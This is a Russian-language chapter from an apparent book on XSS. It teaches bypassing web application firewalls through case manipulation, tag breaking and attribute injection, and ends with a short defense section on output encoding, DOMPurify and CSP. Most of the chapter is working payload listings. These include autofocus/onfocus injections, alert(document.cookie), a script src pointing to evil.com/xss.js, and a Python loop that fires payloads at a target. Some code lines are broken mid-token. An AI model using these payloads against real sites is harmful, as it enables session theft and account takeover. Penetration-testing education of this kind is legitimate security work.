Книга: «Все об уязвимости XSS». Глава 6: Обход фильтров - WAF это не стена, а приглашение 🚪• Bypass-техники: case manipulation, tag breaking, attribute injection
WAF - это охранник, который знает только те лица, которые ему показали на инструктаже. Покажи ему то же лицо, но с усами и шляпой - пропустит. Три техники, которые мы разберём в этой главе, работают именно так: они берут классический XSS-payload, слегка меняют его форму, не трогая смысл, и проносят его мимо любого сигнатурного фильтра. Case manipulation, tag breaking и attribute injection - это не экзотика. Это базовый джентльменский набор, который должен быть отработан до автоматизма, как чистка зубов, только куда более весело.
Case Manipulation - регистр как оружие
Начнём с самого простого. Многие WAF и фильтры написаны без учёта регистронезависимости. Регулярное выражение ищет строго <script>, а ты даёшь ему <ScRiPt> -и оно проходит мимо. Браузер, в отличие от WAF, к регистру абсолютно равнодушен: HTML-парсер по спецификации нечувствителен к регистру тегов и атрибутов.
Почему это работает
HTML Living Standard явно указывает, что имена тегов и атрибутов при парсинге приводятся к нижнему регистру. Это значит, что для браузера <SCRIPT>, <Script>, <sCrIpT> -абсолютно одно и то же. WAF же чаще всего работает с сырой строкой запроса, применяя regex без флага i (case-insensitive) .
Базовые примеры
<!-- Стандарт — заблокируют все нормальные WAF -->
<script>alert(1)</script>
<!-- Case manipulation — проходит мимо наивных фильтров -->
<SCRIPT>alert(1)</SCRIPT>
<Script>alert(1)</Script>
<sCrIpT>alert(1)</sCrIpT>
<ScRiPt>alert(1)</ScRiPt>
Для атрибутов работает так же:
<!-- Блокируется -->
<img src=x onerror=alert(1)>
<!-- Проходит мимо -->
<img src=x ONERROR=alert(1)>
<IMG SRC=x OnErRoR=alert(1)>
<iMg SrC=x oNeRrOr=alert(1)>
Глубже: теги vs атрибуты
Важное наблюдение: JavaScript-код внутри атрибутов и внутри тегов <script> - case sensitive. Поэтому трогать регистр в самом коде нельзя:
<!-- Неправильно - JS выполнится, но только если функция называется Alert -->
<script>Alert(1)</script>
<!-- Правильно — трогаем только тег и атрибуты -->
<ScRiPt>alert(1)</ScRiPt>
<IMG src=x OnErRoR=alert(1)>
Исключение - имена функций, доступных через bracket notation:
window['ALERT'](1) // Не работает, нет фун
кции ALERTwindow['alert'](1) // Работает
Но есть хитрость через toLowerCase():
window['\x61\x6c\x65\x72\x74'](1) // alert через hex
Комбо с другими техниками
Case manipulation особенно мощен в связке с кодированием из предыдущих разделов :
<iMg SrC=x oNeRrOr=alert(1)>
<SvG/oNlOaD=eval(atob('YWxlcnQoMSk=&#
039;))><DeTaIlS/oPeN/oNtOgGlE=alert(1)>
Tag Breaking - разрушь, чтобы собрать
Tag breaking - это техника, при которой ты намеренно разрушаешь структуру тега или ключевого слова так, что фильтр его не распознаёт, но браузер, с его прощающим парсером, всё равно восстанавливает и выполняет.
Nested Tags (Вложенные теги)
Самая классическая техника. Принцип: вставить "мусор" внутрь ключевого слова так, что после удаления мусора фильтром остаётся рабочий тег.
<!-- Фильтр удаляет <script> везде где находит -->
<scr<script>ipt>alert(1)</scr</script>ipt>
Что происходит:
- Фильтр находит
<script>внутри и удаляет его - Остаётся:
<script>alert(1)</script> - Браузер выполняет код
Ещё варианты:
<scr<ScRiPt>ipt>alert(1)</scr</sCrIpT>ipt>
<s<script>cript>alert(1)</s</script>cript>
Whitespace Injection (Внедрение пробелов)
HTML-парсер браузера допускает пробельные символы (пробел, tab, newline, carriage return) в нестандартных местах тега. WAF ищет точную строку - и не находит её.
Пробел после имени тега:
<svg /onload=alert(1)>
<img /src=x /onerror=alert(1)>
Различные whitespace-символы между атрибутами:
<!-- Tab между атрибутами -->
<img src=x onerror=alert(1)>
<!-- Newline между тегом и атрибутом -->
<img
src=x
onerror=alert(1)>
<!-- Carriage Return -->
<img src=x onerror=alert(1)>
<!-- Вертикальный таб (\x0B) -->
<img src=xonerror=alert(1)>
Whitespace внутри атрибута:
<!-- Пробел перед = -->
<img src=x onerror =alert(1)>
<!-- Пробел после = -->
<img src=x onerror= alert(1)>
<!-- Пробелы с обеих сторон -->
<img src=x onerror = alert(1)>
Браузер принимает все эти варианты как валидный HTML. WAF, ищущий onerror=, их пропускает.
Null Bytes и Специальные символы
<!-- Null byte внутри тега (старые браузеры) -->
<scri%00pt>alert(1)</scri%00pt>
<img src=x one%00rror=alert(1)>
<!-- URL-encoded символы внутри тега -->
<img src=x o%6eerror=alert(1)> <!-- %6e = n -->
<s%63ript>alert(1)</s%63ript> <!-- %63 = c -->
Unknown Tags и Garbage Attributes
Браузер игнорирует неизвестные теги и атрибуты, а некоторые WAF блокируют только конкретные теги:
<!-- Неизвестный тег — браузер создаёт HTMLElement -->
<xss onmouseover=alert(1)>Hover me</xss>
<d3v onclick=alert(1)>Click</d3v>
<customtag/onmouseover=alert(1)>
<!-- Мусорные атрибуты сбивают парсер WAF -->
<img z="z" src=x z="z" onerror="z&qu
ot; z="z" onerror=alert(1)><img src=x aaa=bbb onerror=alert(1)>
Self-Closing Tags
<!-- В HTML5 большинство тегов не требуют закрытия -->
<svg/onload=alert(1)
<img/src=x/onerror=alert(1)
<!-- Слэш вместо пробела (WAF ищет пробел) -->
<svg/onload=alert(1)>
<img/src=x/onerror=alert(1)>
<body/onload=alert(1)>
Closing Tag Confusion
<!-- Нестандартные способы закрытия тегов -->
<script>alert(1)//</script
<script>alert(1)/*</script>*/
<script>alert(1)</script/>
<script>alert(1)</script >
Fake Tag Breaking через Comment
HTML-комментарии внутри тегов:
<!-- В некоторых браузерах/парсерах -->
<img src=x onerror<!-->=alert(1)>
<scr<!-- comment -->ipt>alert(1)</scr<!-- comment -->ipt>
Это нестандартно, но некоторые движки обрабатывают по-своему.
Attribute Injection - паразитируй на существующем
Attribute Injection - это техника, при которой ты не создаёшь новые теги, а внедряешь вредоносные атрибуты в существующие теги HTML. Это особенно эффективно, когда WAF режет создание новых тегов, но не проверяет атрибуты существующих.
Выход из атрибута и внедрение нового
Базовый сценарий:
<!-- Приложение генерирует -->
<input type="text" value="USER_INPUT" placehol
der="Enter text&quo
t;><!-- Твой ввод -->
;" autofocus onfocu
s="alert(1)<!-- Результат --><input type="text" value="" autofocus onfocus="alert(1)" placeholder="Enter text">
Без кавычек (unquoted attribute):
<!-- Приложение генерирует -->
<input type=text value=USER_INPUT>
<!-- Твой ввод (пробел = разделитель) -->
test onclick=alert(1)
<!-- Результат -->
<input type=text value=test onclick=alert(1)>
Autofocus - автоматический триггер
Autofocus - мощная фишка: заставляет элемент получить фокус сразу при загрузке страницы, без действий пользователя:
" onfocus="alert(1)&qu
ot; autofocus="" onfocus="alert(d
ocument.cookie)" autofocus x="' onfocus='alert(1)' autofocus='
Сочетание autofocus + onfocus - это автоматическое срабатывание без какого-либо взаимодействия с пользователем. Любой менеджер безопасности оценит.
Специфические атрибуты - hidden gems
formaction - переопределяет action формы:
<!-- Если ввод попадает в input внутри формы -->
" formaction="javascript:alert(1)&quo
t; type="submit<
!-- Результат --><input value="" formaction="javascript:alert(1)" type="submit">
Пользователь нажимает кнопку -JavaScript выполняется.
href для ссылок:
<!-- В <a href="USER_INPUT"&
gt; -->javascrip
t:alert(1)javascript:eval(atob('YWxlcnQoMSk='))
src для скриптов:
<!-- В <script src="USER_INPUT"&
gt; -->//evil.
com/xss.jshttps://evil.c
om/xss.js?data:text/javascript,alert(1)
srcdoc для iframe:
<!-- В <iframe src="USER_INPUT"&
gt; -->" srcdoc="<script>ale
rt(1)</script><
!-- Результат --><iframe src="" srcdoc="<script>alert(1)</script>">
Event Handler Injection через существующие теги
Внедряй обработчики событий, которые срабатывают автоматически:
<!-- В div, span, p и других тегах -->
" onmouseover="alert(1)" style="position:fixed;top:0;left:0;wi
dth:100%;height:100%<!-- Покрывает всю страницу, любое движение мыши = alert -->
<!-- В форме -->
" onsubmit=&quo
t;alert(1)<!-- В in
put -->" onc
hange="alert(1
)" oninput="alert(1)" onpaste="alert(1)
<!-- В видео/аудио -->
" onplay=&quo
t;alert(1)" on
ended="alert(1)" onvolumechange="alert(1)
Injection через style attribute
Если WAF блокирует on* атрибуты, но пропускает style:
<!-- CSS expression (только старый IE) -->
" style="xss:expression
(alert(1))<!-- CSS-based XSS через ur
l() -->" style="background:url(javascript:alert(1))
Hidden Input Injection
Скрытые поля часто остаются без проверки, но их значения иногда используются в JavaScript:
<!-- Приложение генерирует -->
<input type="hidden" name="redirect" va
lue="USER_INPUT&quo
t;><!-- Твой ввод -->/dashboard" onmouseo
ver="alert(1)" style="display:block&l
t;!-- Или выход из hidden и создание нового -->/dashboard"><input type="text" onfocus="alert(1)" autofocus="
Комбинирование трёх техник - Ultimate Bypass
Когда одной техники мало, комбинируй все три. Это создаёт payload, который:
- Меняет регистр (обход сигнатуры)
- Ломает структуру тега (обход regex)
- Инжектирует атрибут (избегает создания нового тега)
<!-- Уровень 1: только case -->
<ImG SrC=x OnErRoR=alert(1)>
<!-- Уровень 2: case + whitespace -->
<ImG
SrC=x
OnErRoR=alert(1)>
<!-- Уровень 3: case + whitespace + attribute injection в существующий тег -->
" OnFoCuS="alert(1)&qu
ot; aUtOfOcUs="<!-- Уровень 4: всё вместе
+ кодирование -->" OnFoCuS="alert(1)" aUtOfOcUs x="
WAF Testing Matrix
Систематизируй своё тестирование через матрицу техник:
Базовый payload → <script>alert(1)</script>
Case → <ScRiPt>alert(1)</ScRiPt>
Tag breaking → <scr<script>ipt>alert(1)</scr</script>ipt>
Whitespace → <img src=x onerror =alert(1)>
Attr injection → " onfocus=alert(1) autofo
cus="Комбо #1 → <ImG SrC=x OnErRoR=alert(1&am
p;#41;>Комбо #2 → "<ImG/SrC=x/OnErRoR=&#
97;lert(1)>"Комбо #3 → " oNfOcUs=eval(atob('YWxlcnQoMSk=')) aUtOfOcUs="
Автоматизация проверки
bypass_techniques = {
'case_basic': '<ScRiPt>alert(1)</ScRiPt>',
'case_mixed': '<iMg SrC=x oNeRrOr=alert(1)>',
'tag_nested': '<scr<script>ipt>alert(1)</scr</script>ipt>',
'tag_whitespace': '<img\tsrc=x\tonerror=alert(1)>',
'tag_newline': '<img\nsrc=x\nonerror=alert(1)>',
'tag_null': '<scri\x00pt>alert(1)</scri\x00pt>',
'attr_basic': '" onfocus="alert(1)" autofocus="',
'attr_unquoted': 'test onclick=alert(1)',
'combo_1': '<ImG/SrC=x/OnErRoR=alert(1)>',
'combo_2': '" oNfOcUs=alert(1) aUtOfOcUs="',
}
for name, payload in bypass_techniques.items():
response = send_request(target, payload)
if is_executed(response):
print(f"[+] BYPASSED: {name}")
print(f" Payload: {payload}")Защита от этих техник
Для разработчиков:
- Нормализуй ввод перед проверкой: приводи к нижнему регистру, удаляй лишние пробелы, декодируй entities
- Используй контекстный output encoding, а не input filtering
- DOMPurify обрабатывает все эти техники корректно (в отличие от самописных фильтров)
- CSP - блокирует выполнение, даже если payload прошёл фильтр
Антипаттерн:
// Плохо — только блокирует конкретную строку
$input = str_replace('<script>', '', $input);
// Лучше — но всё равно ненадёжно без нормализации
$input = strip_tags($input);
// Правильно — контекстное экранирование на выходе
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
Заключение
Case manipulation, tag breaking и attribute injection - это три кита обхода сигнатурных фильтров. По отдельности каждая из них решает конкретную проблему: регистрозависимость, точное совпадение паттернов, проверка только новых тегов. Вместе они создают комбинаторный взрыв вариантов, которые невозможно предусмотреть в blacklist без его бесконечного расширения . Именно поэтому профессиональная защита от XSS строится не на фильтрации ввода, а на экранировании вывода. Фильтр можно обойти. Правильное экранирование - нет. Но пока разработчики продолжают писать самодельные фильтры вместо использования проверенных библиотек, у тебя всегда будет работа.
